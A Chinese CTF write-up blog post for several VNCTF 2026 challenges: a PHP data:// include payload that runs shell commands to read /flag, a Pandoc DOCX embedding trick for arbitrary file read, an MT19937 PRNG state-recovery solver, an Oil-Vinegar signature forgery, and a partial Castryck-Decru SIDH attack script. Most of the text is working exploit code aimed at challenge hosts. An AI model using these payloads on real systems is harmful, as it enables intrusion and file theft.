mxymの小窝
12127 字
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VNCTF 2026

signin#

http://114.66.24.228:32544/?file=data:,<%3f=$_GET[1];&1=ls%20/

读根目录有flag

http://114.66.24.228:32544/?file=data:,<%3f=$_GET[1];&1=cat%20/flag

VNCTF{a45c6df1-7e37-4b05-9fdf-832ff45f9da8}

Markdown2world#

这是一个详细且简洁的 Markdown2world 题目题解。

1. 题目分析#

  • 题目类型:Web / Pandoc / LFI (任意文件读取)
  • 核心工具:Pandoc(一个通用文档转换工具)。
  • 提示 (Hint)world? word? wod? wd? w?
    • 暗示 1:目标文件路径极为可能是根目录下的 /w
    • 暗示 2world -> Word,暗示输出格式应选择 Word 文档 (.docx)。
  • 限制条件
    • 上传文件后缀必须为 .md
    • WAF 会拦截部分敏感词(如 include),且后端强制使用 Markdown 解析器,导致常规的 RST 注入(.. include:: /flag)失效。

2. 漏洞原理#

Pandoc 在将 Markdown 转换为 “容器格式”(如 DOCX, ODT, EPUB)时,为了保证文档在其他设备上的完整性,会强制读取文档中引用的本地资源(如图片),并将这些文件的内容打包进生成的文档(ZIP 压缩包)中。

即便引用的文件(如 /w)不是合法的图片格式(文本文件),Pandoc 也会将其作为二进制流读取并打包,从而实现任意文件读取

3. 解题步骤#

第一步:构造 Payload#

利用标准的 Markdown 图片语法,引用提示中的目标文件 /w。这既符合 Markdown 语法,又能绕过针对特定关键词(如 include)的 WAF 检测。

创建文件 exploit.md,内容如下:

Markdown

![flag_file](/w)

第二步:实施攻击 (利用 DOCX 容器特性)#

由于转换成 HTML 时服务器未开启 --self-contained 选项(导致图片无法内嵌),我们需要将目标格式 (toFormat) 指定为 DOCX

使用 Python 脚本或 Burp Suite 发送请求:

  • URL: /convert.php
  • POST Data:
    • file: 上传 exploit.md
    • fromFormat: markdown (默认)
    • toFormat: docx (关键点:生成 Word 文档)

第三步:提取 Flag#

  1. 下载转换成功后的 .docx 文件。
  2. .docx 本质上是一个 ZIP 压缩包。将文件后缀改为 .zip 并解压(或直接用解压软件打开)。
  3. 在解压后的目录 word/media/ 中找到被嵌入的文件(文件名通常被重命名,如 image1.png 或保留原名)。
  4. 用文本编辑器打开该文件,即可看到 Flag。

复现脚本 (Python)#

import requests
import re
import zipfile
import io
# 题目地址
BASE_URL = "http://114.66.24.228:32601"
CONVERT_URL = f"{BASE_URL}/convert.php"
# ------------------------------------------------------------------
# 终极策略:Markdown 转 Word (DOCX)
# 原理:Docx 格式必须包含图片文件。Pandoc 会强制读取本地文件并打包进 docx (zip) 中。
# ------------------------------------------------------------------
# 构造 Payload:标准 Markdown 图片语法
# 同时尝试读取 /w (根据hint) 和 /flag
payload_content = """
# Leak Attempt
Image 1:
![w_file](/w)
Image 2:
![flag_file](/flag)
"""
files = {
'file': ('leak.md', payload_content, 'text/markdown')
}
# 【关键】目标格式设为 DOCX (Word)
data = {
'fromFormat': 'markdown',
'toFormat': 'docx'
}
try:
print(f"[*] Sending payload: Markdown -> DOCX (Target: /w & /flag)...")
response = requests.post(CONVERT_URL, files=files, data=data)
res_json = response.json()
if res_json.get('success'):
download_url = res_json.get('download_url')
print(f"[+] Conversion successful! DOCX URL: {download_url}")
# 1. 下载生成的 DOCX 文件
docx_url = f"{BASE_URL}/{download_url}"
docx_bytes = requests.get(docx_url).content
# 2. 将 DOCX 作为 ZIP 文件处理
print("[*] Downloading and unzipping DOCX container...")
with zipfile.ZipFile(io.BytesIO(docx_bytes)) as z:
# 列出所有文件
file_list = z.namelist()
# 过滤出媒体文件 (Pandoc 通常把图片放在 word/media/ 目录下)
media_files = [f for f in file_list if f.startswith('word/media/')]
if not media_files:
print("[-] No embedded media found in the DOCX.")
print(" Debug: All files in zip:", file_list)
else:
print(f"[+] Found {len(media_files)} embedded files! Extracting...\n")
for media_path in media_files:
content = z.read(media_path)
try:
# 尝试解码为文本
text_content = content.decode('utf-8')
print(f"--- Content of {media_path} ---")
print(text_content)
print("---------------------------------")
if "flag{" in text_content:
print(f"\n[!!!] FLAG FOUND: {re.search(r'flag\{.*?\}', text_content).group(0)}")
except UnicodeDecodeError:
print(f"--- Content of {media_path} (Binary/Image) ---")
print(f"[Binary data: {len(content)} bytes]")
# 如果是真正的图片,这里会是乱码;如果是flag文本,上面会解码成功
else:
print(f"[-] Failed: {res_json.get('message')}")
# 如果 docx 失败,可能是因为 Pandoc 发现 /w 不是有效图片格式而报错
# 我们可以尝试 ODT 或 EPUB,原理相同
print("[*] Tip: If DOCX failed, try changing 'toFormat' to 'odt' or 'epub' in the script.")
except Exception as e:
print(f"[-] Error: {e}")

#

[*] Sending payload: Markdown -> DOCX (Target: /w & /flag)...
[+] Conversion successful! DOCX URL: converted/cadf1bf59e2eedbb0a77d4c55e4553d3_converted.docx
[*] Downloading and unzipping DOCX container...
[+] Found 1 embedded files! Extracting...
--- Content of word/media/rId9.so ---
VNCTF{1lL3_ReAD1Ng_p@nd#C}
---------------------------------

NumberGuesser#

题目代码核心#

服务端逻辑(简化):

  1. seed = os.urandom(8)(8 字节真随机)
  2. random.seed(seed)(Python random = MT19937)
  3. 生成 hints = [getrandbits(32) for _ in range(624)]
  4. 生成 key = getrandbits(128)(用于 AES-CBC)
  5. IV 使用 seed*2(即 seed||seed,16 字节,前后 8 字节相同)
  6. 输出密文 enc,允许查询至多 10 个 hint[i]

目标:用少量 hint 恢复 PRNG 状态/seed/key,从而解密 flag。


关键观察 1:624 个 hint 正好吃完一整轮 MT 输出#

MT19937 内部状态为 624 个 32-bit。题目生成了:

self.hints = [random.getrandbits(32) for _ in range(624)]

这正好把当前状态对应的 624 次输出全部取完。 因此随后生成 getrandbits(128) 时,会触发 twist,进入下一轮状态,然后取下一轮的前 4 个 32-bit 输出拼成 128-bit key。


关键观察 2:恢复 key 不需要 624 个输出,只需要 9 个#

MT 的 twist 公式(只看依赖关系):

  • new[i] 依赖 old[i]、old[i+1]、old[i+397]

因此:

  • new[0] 只依赖 old[0], old[1], old[397]
  • new[1] 只依赖 old[1], old[2], old[398]
  • new[2] 只依赖 old[2], old[3], old[399]
  • new[3] 只依赖 old[3], old[4], old[400]

hint[i]old[i] 经过 MT 的 temper 后输出的值,所以我们只要查询 9 个位置:

0,1,2,3,4,397,398,399,400

将这些 hint untemper 回去得到对应的 old[...],就能算出 new[0..3],再 temper 得到 twist 后下一轮的前 4 个输出 out0..out3

重要坑:getrandbits(128) 的拼接顺序#

CPython 的 getrandbits(128)低位先取,即:

key = out0 + (out1<<32) + (out2<<64) + (out3<<96)

不是 out0 当最高位!这个顺序错了会导致永远解不出。


关键观察 3:IV = seed||seed,结合已知前缀只需爆破 2 字节#

CBC 第一块:

  • P1 = Dec(C1) XOR IV
  • D1 = Dec(C1),则 IV = D1 XOR P1

又因为 IV = s||s(s 为 8 字节 seed),所以有约束:

i=0..7

P1[i+8] = D1[i+8] XOR s[i]
P1[i] = D1[i] XOR s[i]
=> P1[i+8] = D1[i+8] XOR D1[i] XOR P1[i]

已知 flag 前缀是 VNCTF{ 共 6 字节,因此 P1[0..5] 已知,只剩 P1[6],P1[7] 两个字节未知。

爆破 2^16 (=65536) 个可能就能恢复 P1[0..7],进而得到 seed8 = D1[0..7] XOR P1[0..7],从而得到 IV=seed8||seed8 解密整段密文。


如何避免“假阳性”#

仅凭 unpad 成功 + VNCTF{...} 形式,理论上可能出现极少数假阳性。

所以加一个 seed 复验

  • 用候选 seed8 在本地 random.seed(seed8)
  • 生成 624 个 getrandbits(32) 必须和服务端查询到的 hint 完全一致
  • 再生成一次 getrandbits(128) 也必须等于我们推出来的 key

这样就能保证唯一真解。

解题脚本#

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import remote, context
import re
import random
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
context.log_level = "error" # "info"/"debug" 可看细节
HOST = "114.66.24.228"
PORT = 32532
MASK32 = 0xFFFFFFFF
# ---------- MT19937 temper / untemper ----------
def temper(y: int) -> int:
y &= MASK32
y ^= (y >> 11)
y ^= (y << 7) & 0x9D2C5680
y ^= (y << 15) & 0xEFC60000
y ^= (y >> 18)
return y & MASK32
def unshift_right_xor(y: int, shift: int) -> int:
x = y & MASK32
for _ in range(10):
x = y ^ (x >> shift)
return x & MASK32
def unshift_left_xor_mask(y: int, shift: int, mask: int) -> int:
x = y & MASK32
for _ in range(10):
x = y ^ ((x << shift) & mask)
return x & MASK32
def untemper(y: int) -> int:
y = unshift_right_xor(y, 18)
y = unshift_left_xor_mask(y, 15, 0xEFC60000)
y = unshift_left_xor_mask(y, 7, 0x9D2C5680)
y = unshift_right_xor(y, 11)
return y & MASK32
def twist_one(old_i: int, old_ip1: int, old_i397: int) -> int:
y = (old_i & 0x80000000) | (old_ip1 & 0x7FFFFFFF)
x = (old_i397 ^ (y >> 1)) & MASK32
if y & 1:
x ^= 0x9908B0DF
return x & MASK32
# ---------- IO helpers ----------
HEX_RE = re.compile(rb"^[0-9a-fA-F]{32,}$")
def recv_ciphertext(io) -> bytes:
io.recvuntil(b"Encrypted flag:")
for _ in range(20):
line = io.recvline(timeout=5)
if not line:
break
line = line.strip()
if HEX_RE.match(line):
return bytes.fromhex(line.decode())
raise ValueError("ciphertext line not found")
def query_hint(io, idx: int) -> int:
io.recvuntil(b"Enter index")
io.sendline(str(idx).encode())
while True:
line = io.recvline(timeout=5)
if not line:
raise EOFError("server closed while waiting hint")
m = re.search(rb"hint\[(\d+)\]\s*=\s*(\d+)", line)
if m:
return int(m.group(2)) & MASK32
# ---------- validation ----------
def validate_seed(seed8: bytes, observed_hints: dict, key_int: int) -> bool:
r = random.Random()
r.seed(seed8)
# 生成624个hint(跟服务端一致)
gen = [r.getrandbits(32) for _ in range(624)]
for idx, val in observed_hints.items():
if gen[idx] != val:
return False
# 下一次 getrandbits(128) 必须等于我们推出来的 key
k2 = r.getrandbits(128)
return k2 == key_int
def main():
# 9个足够推 key;第10个随便问一个不冲突的
need9 = [0, 1, 2, 3, 4, 397, 398, 399, 400]
dummy = 10 if 10 not in need9 else 11
ask10 = need9 + [dummy]
io = remote(HOST, PORT)
try:
ct = recv_ciphertext(io)
observed = {} # idx -> hint value (tempered output)
for idx in ask10:
val = query_hint(io, idx)
if idx in need9:
observed[idx] = val
# ---- recover old state words (untemper) ----
old = {i: untemper(observed[i]) for i in need9}
# ---- compute new state words after twist ----
new0 = twist_one(old[0], old[1], old[397])
new1 = twist_one(old[1], old[2], old[398])
new2 = twist_one(old[2], old[3], old[399])
new3 = twist_one(old[3], old[4], old[400])
out0 = temper(new0)
out1 = temper(new1)
out2 = temper(new2)
out3 = temper(new3)
# 关键:CPython getrandbits(128) 是“低位先来”
key_int = (out0) | (out1 << 32) | (out2 << 64) | (out3 << 96)
key = key_int.to_bytes(16, "big")
# ---- brute 2 bytes for P1[6..7] to recover seed8 and iv ----
c1 = ct[:16]
d1 = AES.new(key, AES.MODE_ECB).decrypt(c1)
prefix6 = b"VNCTF{"
for guess in range(0x10000):
g2 = guess.to_bytes(2, "big")
p0_7 = prefix6 + g2 # 8 bytes
# seed8 = D1[0..7] xor P1[0..7]
seed8 = bytes([d1[i] ^ p0_7[i] for i in range(8)])
iv = seed8 + seed8
try:
pt = AES.new(key, AES.MODE_CBC, iv).decrypt(ct)
pt = unpad(pt, 16)
except ValueError:
continue
if not (pt.startswith(b"VNCTF{") and pt.endswith(b"}")):
continue
# 最关键:用 seed8 复验是否能生成同一组 hints & key
if not validate_seed(seed8, observed, key_int):
continue
# 到这里基本就是唯一真解
print("FLAG (repr):", repr(pt))
print("FLAG:", pt.decode(errors="strict"))
return
print("[-] Not found. (unexpected)")
finally:
io.close()
if __name__ == "__main__":
main()

最终flag

FLAG (repr): b'VNCTF{6R3AK1N6_PyThoN_$_pRNg_W1tH_A_feW_Va1uE$_AnD_no_bRuteforCe}'
FLAG: VNCTF{6R3AK1N6_PyThoN_$_pRNg_W1tH_A_feW_Va1uE$_AnD_no_bRuteforCe}

ezov#

解题思路#

题目给了一个“签名/验证”服务端脚本(main.sage)和公钥(pub.txt),核心验证条件是:

  • 模数:素数 p=65537p=65537p=65537

  • 向量维度:n=128n=128n=128

  • 公钥:64 个对称矩阵 Pi∈Fp128×128P_i \in \mathbb{F}_p^{128\times 128}Pi∈Fp128×128

  • 对消息 mmm,计算

    h=H(m)∈Fp64h = H(m) \in \mathbb{F}_p^{64}h=H(m)∈Fp64

    shake_128 输出 64 个 16-bit)

  • 给签名 s∈Fp128s\in\mathbb{F}_p^{128}s∈Fp128,验证:

    sTPis≡hi(modp),i=0..63s^T P_i s \equiv h_i \pmod p,\quad i=0..63sTPis≡hi(modp),i=0..63

关键观察:这是平衡型 Oil-Vinegar(OV)结构

题名 ezov + 参数 v=o=64,并且私钥坐标系下每个二次型矩阵满足块结构:

Qi=(AiBiBiT0)Q_i=\begin{pmatrix} A_i & B_i\ B_i^T & 0 \end{pmatrix}Qi=(AiBiTBi0)

其中:

  • 上左块 AiA_iAi 对应 vinegar-vinegar
  • 右上块 BiB_iBi 对应 vinegar-oil(并且在这题里可逆/满秩)
  • 右下块 oil-oil 为 0(OV 的核心)

公钥 PiP_iPi 是这些 QiQ_iQi 在未知线性变换 SSS 下的同构:

Pi=S−TQiS−1P_i = S^{-T}Q_i S^{-1}Pi=S−TQiS−1

突破点:利用 P0−1P1P_0^{-1}P_1P0−1P1 的特征多项式“平方”性质恢复 oil 子空间

A=P0−1P1A = P_0^{-1}P_1A=P0−1P1

在私钥坐标系下它相似于

Q0−1Q1=(ZT0∗Z)Q_0^{-1}Q_1= \begin{pmatrix} Z^T & 0\ * & Z \end{pmatrix}Q0−1Q1=(ZT∗0Z)

这是一个“上下三角块”矩阵,且对角线上两个块(ZTZ^TZT 与 ZZZ)有相同特征多项式,所以:

  • AAA 的特征多项式满足

    χA(x)=f(x)2\chi_A(x)=f(x)^2χA(x)=f(x)2

    其中 f(x)f(x)f(x) 是某个 64 次多项式。

如果我们取这个 f(x)f(x)f(x),计算矩阵多项式:

N=f(A)N = f(A)N=f(A)

则 NNN 会“杀掉”一半空间,使其像空间恰好对应 oil 子空间 UUU(维度 64)。 于是我们只要取 NNN 的列空间基,就得到 UUU。

具体实现上:

  • 先在 Fp\mathbb{F}_pFp 上算出 χA(x)\chi_A(x)χA(x)
  • 然后用 gcd⁡(χA(x),χA′(x))\gcd(\chi_A(x), \chi_A’(x))gcd(χA(x),χA′(x)) 抽出平方因子得到 f(x)f(x)f(x)
  • 计算 N=f(A)N=f(A)N=f(A)
  • 求 NNN 的列空间基,得到 UUU

得到 UUU 后如何伪造签名

有了 oil 子空间基 UUU 后,可以构造配套的 vinegar 子空间基:

V=P0⋅UV = P_0 \cdot UV=P0⋅U

然后把二者拼成可逆矩阵:

S=[V∣U]∈Fp128×128S = [V\mid U]\in \mathbb{F}_p^{128\times 128}S=[V∣U]∈Fp128×128

在这个基下把公钥矩阵变换成 OV 的标准块形式:

Qi=STPiSQ_i = S^T P_i SQi=STPiS

此时每个 QiQ_iQi 都满足 oil-oil 块为 0,签名过程变成经典 OV:

  1. 随机选 vinegar 向量 v∈Fp64v\in\mathbb{F}_p^{64}v∈Fp64

  2. 对未知 oil 向量 o∈Fp64o\in\mathbb{F}_p^{64}o∈Fp64,每个方程变成线性:

    vTAiv+2vTBio=hiv^TA_iv + 2v^TB_io = h_ivTAiv+2vTBio=hi

  3. 组成 64×64 线性方程组解出 ooo

  4. 得到私钥坐标下向量 y=[v∣o]y=[v\mid o]y=[v∣o]

  5. 输出签名 s=S⋅ys=S\cdot ys=S⋅y

这样就能对任意消息(比如 "admin")构造通过验证的签名,从而拿 flag。

解题脚本#

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Solve for ezov (balanced Oil-Vinegar over GF(65537)).
Requires: numpy, sympy (both commonly available in CTF env)
"""
import ast
import hashlib
import socket
import numpy as np
import sympy as sp
HOST = "114.66.24.228"
PORT = 32499
p = 65537
v = o = 64
n = v + o
# ---------- basic modular linear algebra (GF(p)) ----------
def inv_mod_mat(A, mod=p):
A = (A.copy() % mod).astype(np.int64)
n = A.shape[0]
I = np.eye(n, dtype=np.int64)
aug = np.concatenate([A, I], axis=1)
for col in range(n):
pivot = None
for r in range(col, n):
if aug[r, col] % mod != 0:
pivot = r
break
if pivot is None:
raise ValueError("matrix is singular")
if pivot != col:
aug[[col, pivot]] = aug[[pivot, col]]
inv_piv = pow(int(aug[col, col] % mod), mod - 2, mod)
aug[col, :] = (aug[col, :] * inv_piv) % mod
for r in range(n):
if r == col:
continue
f = aug[r, col] % mod
if f:
aug[r, :] = (aug[r, :] - f * aug[col, :]) % mod
return aug[:, n:]
def solve_linear(A, b, mod=p):
"""Solve A x = b over GF(mod). Return x or None if singular."""
A = (A.copy() % mod).astype(np.int64)
b = (b.copy() % mod).astype(np.int64).reshape(-1, 1)
n = A.shape[0]
aug = np.concatenate([A, b], axis=1)
row = 0
for col in range(n):
pivot = None
for r in range(row, n):
if aug[r, col] % mod != 0:
pivot = r
break
if pivot is None:
return None
if pivot != row:
aug[[row, pivot]] = aug[[pivot, row]]
inv_piv = pow(int(aug[row, col] % mod), mod - 2, mod)
aug[row, :] = (aug[row, :] * inv_piv) % mod
for r in range(n):
if r == row:
continue
f = aug[r, col] % mod
if f:
aug[r, :] = (aug[r, :] - f * aug[row, :]) % mod
row += 1
return aug[:, -1].reshape(-1)
def col_space_basis(A, mod=p):
"""Return a column-space basis of A over GF(mod) as an (n,rank) matrix."""
A = (A.copy() % mod).astype(np.int64)
M = A.copy()
r, c = M.shape
row = 0
pivcols = []
for col in range(c):
pivot = None
for rr in range(row, r):
if M[rr, col] % mod != 0:
pivot = rr
break
if pivot is None:
continue
if pivot != row:
M[[row, pivot]] = M[[pivot, row]]
inv_piv = pow(int(M[row, col] % mod), mod - 2, mod)
M[row, :] = (M[row, :] * inv_piv) % mod
for rr in range(row + 1, r):
f = M[rr, col] % mod
if f:
M[rr, :] = (M[rr, :] - f * M[row, :]) % mod
pivcols.append(col)
row += 1
if row == r:
break
basis_cols = [A[:, j].copy() % mod for j in pivcols]
return np.column_stack(basis_cols)
def rank_mod(A, mod=p):
A = (A.copy() % mod).astype(np.int64)
r, c = A.shape
row = 0
rank = 0
for col in range(c):
pivot = None
for rr in range(row, r):
if A[rr, col] % mod != 0:
pivot = rr
break
if pivot is None:
continue
if pivot != row:
A[[row, pivot]] = A[[pivot, row]]
inv_piv = pow(int(A[row, col] % mod), mod - 2, mod)
A[row, :] = (A[row, :] * inv_piv) % mod
for rr in range(row + 1, r):
f = A[rr, col] % mod
if f:
A[rr, :] = (A[rr, :] - f * A[row, :]) % mod
row += 1
rank += 1
if row == r:
break
return rank
# ---------- load public key matrices ----------
def load_pub(path="pub.txt"):
mats = []
with open(path, "r", encoding="utf-8") as f:
for _ in range(o):
_ = f.readline() # header like "P_0 ="
s = "".join([f.readline().strip() for _ in range(n)])
data = ast.literal_eval(s)
arr = (np.array(data, dtype=np.int64) % p)
assert arr.shape == (n, n)
mats.append(arr)
return mats
# ---------- characteristic polynomial mod p (Faddeev–LeVerrier) ----------
def charpoly_mod(A, mod=p):
A = (A.copy() % mod).astype(np.int64)
n = A.shape[0]
B = np.eye(n, dtype=np.int64)
coeffs = []
for k in range(1, n + 1):
B = (A.dot(B)) % mod
tr = int(np.trace(B) % mod)
ck = (-tr * pow(k, mod - 2, mod)) % mod
coeffs.append(ck)
if ck:
idx = np.arange(n)
B[idx, idx] = (B[idx, idx] + ck) % mod
# x^n + c1 x^(n-1) + ... + cn
return [1] + coeffs
def poly_eval_mat(coeffs_high_to_low, A, mod=p):
"""Evaluate polynomial at matrix A via Horner: coeffs are [a0..ad] for a0*x^d + ... + ad."""
A = (A.copy() % mod).astype(np.int64)
n = A.shape[0]
res = np.zeros((n, n), dtype=np.int64)
I = np.eye(n, dtype=np.int64)
for c in coeffs_high_to_low:
res = (A.dot(res)) % mod
if c:
idx = np.arange(n)
res[idx, idx] = (res[idx, idx] + int(c)) % mod
return res
# ---------- recover Oil subspace U ----------
def recover_oil_basis(pub):
P0 = pub[0]
P0_inv = inv_mod_mat(P0)
# Similarity matrix: A = P0^{-1} P1 ~ [[Z^T, 0],[*, Z]]
A = (P0_inv.dot(pub[1])) % p
# charpoly(A) = f(x)^2 (because diag blocks have same charpoly); the squarefree part is gcd(cp, cp')
x = sp.Symbol("x")
cp_coeffs = charpoly_mod(A)
cp = sp.Poly(sum(int(c) * x ** (n - i) for i, c in enumerate(cp_coeffs)), x, modulus=p)
f = sp.gcd(cp, cp.diff()) # deg 64
f_coeffs = [int(c) % p for c in f.all_coeffs()]
# N = f(A) has image exactly the Oil subspace (dim 64)
N = poly_eval_mat(f_coeffs, A)
U = col_space_basis(N)
assert U.shape == (n, o)
return U
# ---------- signing (forge admin) ----------
def hash_vec(msg: bytes, mod=p):
h = hashlib.shake_128(msg).hexdigest(128) # 128 bytes -> 256 hex chars -> 64 * 16-bit
out = []
for i in range(0, 4 * o, 4):
out.append(int(h[i:i + 4], 16) % mod)
return np.array(out, dtype=np.int64)
def transform_key(pub, S):
ST = S.T % p
Q = []
for P in pub:
Q.append((ST.dot(P).dot(S)) % p)
return Q
def sign_message(target_vec, Qmats, S, max_tries=300):
# In transformed coordinates y=(vinegar,oil):
# q_i(y)= v^T A_i v + 2 v^T B_i o (since oil-oil block = 0)
As = [Q[:v, :v] for Q in Qmats]
Bs = [Q[:v, v:] for Q in Qmats]
rng = np.random.default_rng()
for _ in range(max_tries):
vv = rng.integers(0, p, size=v, dtype=np.int64)
vv_row = vv.reshape(1, -1)
L = np.zeros((o, o), dtype=np.int64)
c = np.zeros(o, dtype=np.int64)
for i in range(o):
quad = int((vv_row.dot(As[i]).dot(vv) % p).item())
c[i] = (int(target_vec[i]) - quad) % p
L[i, :] = (2 * (vv_row.dot(Bs[i]) % p)) % p
oo = solve_linear(L, c)
if oo is None:
continue
y = np.concatenate([vv, oo]) % p
sig = (S.dot(y)) % p
return sig
raise RuntimeError("sign failed (try increasing max_tries)")
# ---------- remote io helpers ----------
def recvuntil(sock, token: bytes, max_bytes=1 << 20):
data = b""
while token not in data:
chunk = sock.recv(4096)
if not chunk:
break
data += chunk
if len(data) > max_bytes:
break
return data
def main():
pub = load_pub("pub.txt")
# 1) recover Oil subspace
U = recover_oil_basis(pub)
# 2) build basis S = [V | U], where V = P0*U (the shared Vinegar subspace image)
V = (pub[0].dot(U)) % p
S = np.concatenate([V, U], axis=1) % p
assert rank_mod(S) == n
# 3) transform public key into (Vinegar,Oil) coordinates
Qmats = transform_key(pub, S)
# 4) forge signature for "admin"
target = hash_vec(b"admin")
sig = sign_message(target, Qmats, S)
sig_list = "[" + ",".join(str(int(x)) for x in sig.tolist()) + "]"
# 5) send to remote
with socket.create_connection((HOST, PORT)) as s:
# service prompt is '>' (see main.sage input('>'))
recvuntil(s, b">")
s.sendall(b"2\n")
recvuntil(s, b"signature")
s.sendall(sig_list.encode() + b"\n")
out = s.recv(4096)
print(out.decode(errors="ignore"), end="")
if __name__ == "__main__":
main()

最终flag

(latt) ➜ Crypto python solve_fixed.py
VNCTF{2eccef4f-da1b-4292-83a1-a81148f06f88}
[+] 1. sign
[+] 2. verify
>%

HD_is_what#

解题思路#

  • a=82,b=57 可知 p=282⋅357−1p=2^{82}\cdot 3^{57}-1p=282⋅357−1,并在 Fp2\mathbb F_{p^2}Fp2 上做 SIDH/SIKE 风格同源密钥交换;points 给出起始曲线 E0E_0E0 的 2a2^a2a / 3b3^b3b torsion 基。
  • bob_obfuscated / alice_obfuscated 各 12 个数:对应公钥展开后的 12 维向量(曲线参数 2 个 Fp2\mathbb F_{p^2}Fp2 + 两个点各 4 个 Fp\mathbb F_pFp 分量)。
  • 题目用 LCG(seed= p)生成 12×12 整数矩阵 MMM,做线性混淆:Y = X * M。复现 LCG 和矩阵后求逆:X = Y * M^{-1},即可还原标准 SIDH 公钥 (EA,PA,QA),(EB,PB,QB)(E_A,P_A,Q_A),(E_B,P_B,Q_B)(EA,PA,QA),(EB,PB,QB)。
  • 对恢复出的 Bob 公钥使用 Castryck–Decru 攻击(SIDH 已被该攻击破坏)得到 Bob 私钥 sk_B
  • 按题目协议在 EAE_AEA 上计算共享曲线:kernel = PA+skBQAP_A + sk_B Q_APA+skBQA,取共享 jjj-invariant,key = sha256(str(j)) 作为 AES-CBC key 解密得到 flag。

解题脚本#

#!/usr/bin/env sage
# -*- coding: utf-8 -*-
#
# HD_is_what — final solve
# Usage: sage solve.sage
#
# Needs: output.txt, pycryptodome
# Auto-downloads GiacomoPope/Castryck-Decru-SageMath if missing.
import ast, os, sys, tarfile, subprocess, io, re, inspect
from contextlib import redirect_stdout
from hashlib import sha256
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
OUT_PATH = "output.txt"
REPO_DIR = "Castryck-Decru-SageMath-main"
ARCHIVE = "cd_attack_repo.tar.gz"
# ============================================================
# 0) Read output
# ============================================================
data = ast.literal_eval(open(OUT_PATH, "r").read())
a = int(data["params"]["a"])
b = int(data["params"]["b"])
p = (2**a) * (3**b) - 1
print("[+] a,b =", a, b)
print("[+] p bits =", p.nbits())
# ============================================================
# 1) Reproduce task.sage LCG + matrices, deobfuscate
# Y = raw * M => raw = Y * M^{-1}
# ============================================================
state = int(p)
MOD32 = 2**32
def next_rand():
global state
state = (state * 1664525 + 1013904223) % MOD32
return state
dim = 12
def make_matrix():
M = Matrix(ZZ, dim, dim)
for r in range(dim):
for c in range(dim):
x = next_rand()
M[r, c] = (x % 10 + 10) if r == c else (x % 5)
return M
M_bob = make_matrix()
M_alice = make_matrix()
Y_bob = vector(ZZ, list(map(int, data["bob_obfuscated"])))
Y_alice = vector(ZZ, list(map(int, data["alice_obfuscated"])))
bob_raw_QQ = Y_bob.change_ring(QQ) * M_bob.change_ring(QQ).inverse()
alice_raw_QQ = Y_alice.change_ring(QQ) * M_alice.change_ring(QQ).inverse()
def to_int_list(v):
out = []
for x in list(v):
if x.denominator() != 1:
raise ValueError("Non-integer recovered component: %s" % x)
out.append(int(x))
return out
bob_raw = to_int_list(bob_raw_QQ)
alice_raw = to_int_list(alice_raw_QQ)
print("[+] deobfuscation OK (all integers)")
# ============================================================
# 2) Rebuild F_{p^2}, curves and points
# ============================================================
Fp = GF(p)
R.<X> = PolynomialRing(Fp)
Fp2.<i> = GF(p^2, modulus=X^2 + 1)
def fp2_from_pair(c0, c1):
return Fp2(int(c0)) + Fp2(int(c1))*i
def point_from_list(E, L4):
x = fp2_from_pair(L4[0], L4[1])
y = fp2_from_pair(L4[2], L4[3])
return E(x, y)
E_start = EllipticCurve(Fp2, [0, 6, 0, 1, 0])
E_start.set_order((p+1)^2, num_checks=0)
# Bob public: EB, PB, QB
EB_a4 = fp2_from_pair(bob_raw[0], bob_raw[1])
EB_a6 = fp2_from_pair(bob_raw[2], bob_raw[3])
EB = EllipticCurve(Fp2, [0, 6, 0, EB_a4, EB_a6])
EB.set_order((p+1)^2, num_checks=0)
PB = point_from_list(EB, bob_raw[4:8])
QB = point_from_list(EB, bob_raw[8:12])
# Alice public: EA, PA, QA
EA_a4 = fp2_from_pair(alice_raw[0], alice_raw[1])
EA_a6 = fp2_from_pair(alice_raw[2], alice_raw[3])
EA = EllipticCurve(Fp2, [0, 6, 0, EA_a4, EA_a6])
EA.set_order((p+1)^2, num_checks=0)
PA = point_from_list(EA, alice_raw[4:8])
QA = point_from_list(EA, alice_raw[8:12])
# torsion bases on E_start
P2 = point_from_list(E_start, list(map(int, data["points"]["Pa"])))
Q2 = point_from_list(E_start, list(map(int, data["points"]["Qa"])))
P3 = point_from_list(E_start, list(map(int, data["points"]["Pb"])))
Q3 = point_from_list(E_start, list(map(int, data["points"]["Qb"])))
print("[+] reconstructed curves and points")
# ============================================================
# 3) Download + load CD core only
# ============================================================
def ensure_cd_repo():
if os.path.isdir(REPO_DIR):
return
url = "https://github.com/GiacomoPope/Castryck-Decru-SageMath/archive/refs/heads/main.tar.gz"
print("[*] downloading Castryck-Decru-SageMath ...")
try:
subprocess.check_call(["bash", "-lc", f"curl -L {url} -o {ARCHIVE}"])
except Exception:
subprocess.check_call(["bash", "-lc", f"wget -O {ARCHIVE} {url}"])
with tarfile.open(ARCHIVE, "r:gz") as tf:
tf.extractall(".")
if not os.path.isdir(REPO_DIR):
cands = [d for d in os.listdir(".") if d.lower().startswith("castryck-decru-sagemath")]
if not cands:
raise RuntimeError("Cannot find extracted Castryck-Decru-SageMath dir")
os.rename(cands[0], REPO_DIR)
def load_cd_core():
repo_abs = os.path.abspath(REPO_DIR)
if repo_abs not in sys.path:
sys.path.insert(0, repo_abs)
old = os.getcwd()
os.chdir(repo_abs)
try:
# speedup is useful and safe
if os.path.exists("speedup.sage"):
print("[*] load speedup.sage")
load("speedup.sage")
# ONLY core attack files (avoid demo/test .sage that auto-runs)
for f in ["castryck_decru_attack.sage", "castryck_decru_shortcut.sage"]:
if os.path.exists(f):
print("[*] load", f)
load(f)
finally:
os.chdir(old)
def extract_bob_key(txt):
m = re.search(r"Bob's secret key revealed as:\s*([0-9]+)", txt)
if m:
return ZZ(m.group(1))
m = re.search(r"Bob.*key.*:\s*([0-9]+)", txt)
if m:
return ZZ(m.group(1))
return None
ensure_cd_repo()
load_cd_core()
# ============================================================
# 4) Build two_i = generate_distortion_map(E_start)
# IMPORTANT: two_i is a callable endomorphism, NOT an integer
# ============================================================
import public_values_aux
public_values_aux.p = p
if not hasattr(public_values_aux, "generate_distortion_map"):
raise RuntimeError("public_values_aux.generate_distortion_map not found (repo mismatch).")
two_i = public_values_aux.generate_distortion_map(E_start)
# ============================================================
# 5) Call CastryckDecruAttack with correct named args
# ============================================================
if "CastryckDecruAttack" not in globals():
raise RuntimeError("CastryckDecruAttack not found after loading core files.")
